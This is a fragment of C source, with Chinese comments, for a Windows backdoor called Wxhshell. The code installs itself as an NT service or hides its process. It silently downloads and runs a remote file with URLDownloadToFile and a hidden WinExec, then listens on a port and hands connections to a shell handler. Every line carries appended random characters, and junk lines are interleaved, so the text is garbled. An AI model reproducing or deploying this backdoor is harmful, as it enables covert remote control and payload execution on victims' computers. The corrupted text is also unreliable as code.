ULONG UniqueProcessId; uW4.Q_O!H
ULONG InheritedFromUniqueProcessId; 0XI6gPo%
} PROCESS_BASIC_INFORMATION; 9[[$5t`8
UDPn4q
PROCNTQSIP NtQueryInformationProcess; h r6?9RJY
(UZ].+)s
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Sx1OY0)s
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y4[oa?G
V14+?L
HANDLE hProcess; @0%[4
PROCESS_BASIC_INFORMATION pbi; 27MwZz
KfQ?b_H.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D#[<N
if(NULL == hInst ) return 0; s%G%s,d
&d]@$4u$;
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wJu9.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z}Um$'. =
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A.(e=;0bu
p[}~Z|(
if (!NtQueryInformationProcess) return 0; HE0m#
I/u>Gt
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B?4Iu)bCxI
if(!hProcess) return 0; 5>hXqNjP2
@QE&D+NS
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VFKFO9
o3:BH@@
CloseHandle(hProcess); a'O-0]g,
gw$?&[wY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); FM|3'a-z
if(hProcess==NULL) return 0; 2SlI5+u
/x\~5cC
HMODULE hMod; lUw=YM
char procName[255]; 6NQ`IC
unsigned long cbNeeded; 6=Sz5MC
E`]un.
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Iu^I?c[
z'\BZ5riX<
CloseHandle(hProcess); `#l1
$"va8,
if(strstr(procName,"services")) return 1; // 以服务启动 ):fu]s"
(-VH=,Md
return 0; // 注册表启动 x@D>JG
} Hm+VGH'H?
n*caP9B
// 主模块 ]$Q@4=fb
int StartWxhshell(LPSTR lpCmdLine) o\fPZ`p-m~
{ w=^~M[%w
SOCKET wsl; 2iC BF-,
BOOL val=TRUE; ! 6R|
int port=0; '@5x=>
struct sockaddr_in door; uc LDl
7|
`_5e
if(wscfg.ws_autoins) Install(); ~*`wRiUhis
($gmN 4
port=atoi(lpCmdLine); g[;&_gL
yM7FR);
if(port<=0) port=wscfg.ws_port; m8INgzVTC
ZgmK~iJ
WSADATA data; ygd*zy9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :*-O;Yw?S@
%}unlSTPP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F4:5 >*:
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h;mOfF
door.sin_family = AF_INET; TQOJN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @KJmNM1]V
door.sin_port = htons(port); aM:tg1g
]qx!51S
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F*Ul#yX
closesocket(wsl); q?8#D
return 1; 2o7o~r
} aHPx'R
u3DFgl3-7
if(listen(wsl,2) == INVALID_SOCKET) { ^P`I"T
d
closesocket(wsl); BWr!K5w>i
return 1; DLO#_t^v.
} Ds@K%f(.?w
Wxhshell(wsl); ZIc-^&`r=
WSACleanup(); qj^A
RK_z!%(P
return 0; 1yeD-M"w
iztgk/(+G
} @JOsG-VW~
ANR611-a
// 以NT服务方式启动 9QkssI
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yK mHTjX=
{ ,S?:lQuK5
DWORD status = 0; Rli`]~!w
DWORD specificError = 0xfffffff; $GVf;M2*
Z7Nhb{
serviceStatus.dwServiceType = SERVICE_WIN32; buHUBn[3)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; lg@q}
]1
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; F^!mgU X
serviceStatus.dwWin32ExitCode = 0; T <RWz
serviceStatus.dwServiceSpecificExitCode = 0; 5KssfI
a
serviceStatus.dwCheckPoint = 0; wHQYBYKcd
serviceStatus.dwWaitHint = 0; ~\zIb/ #
Xg}~\|n
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W\e!rq
if (hServiceStatusHandle==0) return; Y1BxRd?D
?MiMwVR
status = GetLastError(); jQ(%LYX$
if (status!=NO_ERROR) DyQvk
{ `?T8NK
serviceStatus.dwCurrentState = SERVICE_STOPPED; |D8c=c%
serviceStatus.dwCheckPoint = 0; x6|QTO
serviceStatus.dwWaitHint = 0; O)r>AdLGn
serviceStatus.dwWin32ExitCode = status; |mz0
]
serviceStatus.dwServiceSpecificExitCode = specificError; P?y{9H*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <"S/M]9
return; 11JO [
} {7=k/Y*U
o2LUB)=R'
serviceStatus.dwCurrentState = SERVICE_RUNNING; %5<t3H"
serviceStatus.dwCheckPoint = 0; fy!,cK};
serviceStatus.dwWaitHint = 0; %'dsb7n
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;giT[KK
} ,Lw
'3
,q
Bu5t
// 处理NT服务事件,比如:启动、停止 ~I%JVX%
VOID WINAPI NTServiceHandler(DWORD fdwControl) zx5t
gZd,N
{ McU]U9:z
switch(fdwControl) oc&yz>%q
{ f=40_5a6
case SERVICE_CONTROL_STOP: 1;+(HB
serviceStatus.dwWin32ExitCode = 0; f/=H#'+8
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]&L[]
serviceStatus.dwCheckPoint = 0; , pr ",=
serviceStatus.dwWaitHint = 0; =/HTe&
{ [0n&?<<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); }-M%$~`
} 5W?r04
return; v>mr
case SERVICE_CONTROL_PAUSE: -Cf<
#'x_
serviceStatus.dwCurrentState = SERVICE_PAUSED; MbC&u:@ "v
break; K7d]p0d'
case SERVICE_CONTROL_CONTINUE: SyR[G*djl
serviceStatus.dwCurrentState = SERVICE_RUNNING; C8
2lT_7"
break; n15lX,FI
case SERVICE_CONTROL_INTERROGATE: {\-IAuM
break; C)Hb=
}; *AN2&>Y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); orAEVEm
} ; +]GyDgVq
"@E(}z'sM
// 标准应用程序主函数 \9dC z;
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;-T%sRI:|
{ nc%ly *
v#`P?B\
// 获取操作系统版本 _&6&sp<n
OsIsNt=GetOsVer(); HzF]hm,
GetModuleFileName(NULL,ExeFile,MAX_PATH); m.N/g,
> 9wEx[
// 从命令行安装 P(za8l>
if(strpbrk(lpCmdLine,"iI")) Install(); ~4+=C\r
AW:WDNQh8n
// 下载执行文件 `;!v<@:i2
if(wscfg.ws_downexe) { d.uJ}=|
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /8w
_jjW
WinExec(wscfg.ws_filenam,SW_HIDE); O486:tF
} YWPAc>uw,
9:tKRN_D
if(!OsIsNt) { hE>i~:~R
// 如果时win9x,隐藏进程并且设置为注册表启动 /xRPQ|
HideProc(); y2eeE CS]
StartWxhshell(lpCmdLine); ^g2p!7
} ,kKMUshBi
else u;*Wc9>sU
if(StartFromService()) Pz1[ b$%
// 以服务方式启动 +9mnxU>
StartServiceCtrlDispatcher(DispatchTable); $=GZ"%ED
else %maLo RJ
// 普通方式启动 RHGs(d7-
StartWxhshell(lpCmdLine); ')/yBH9mR
BJI
R !J
return 0; XZe ZqBr
}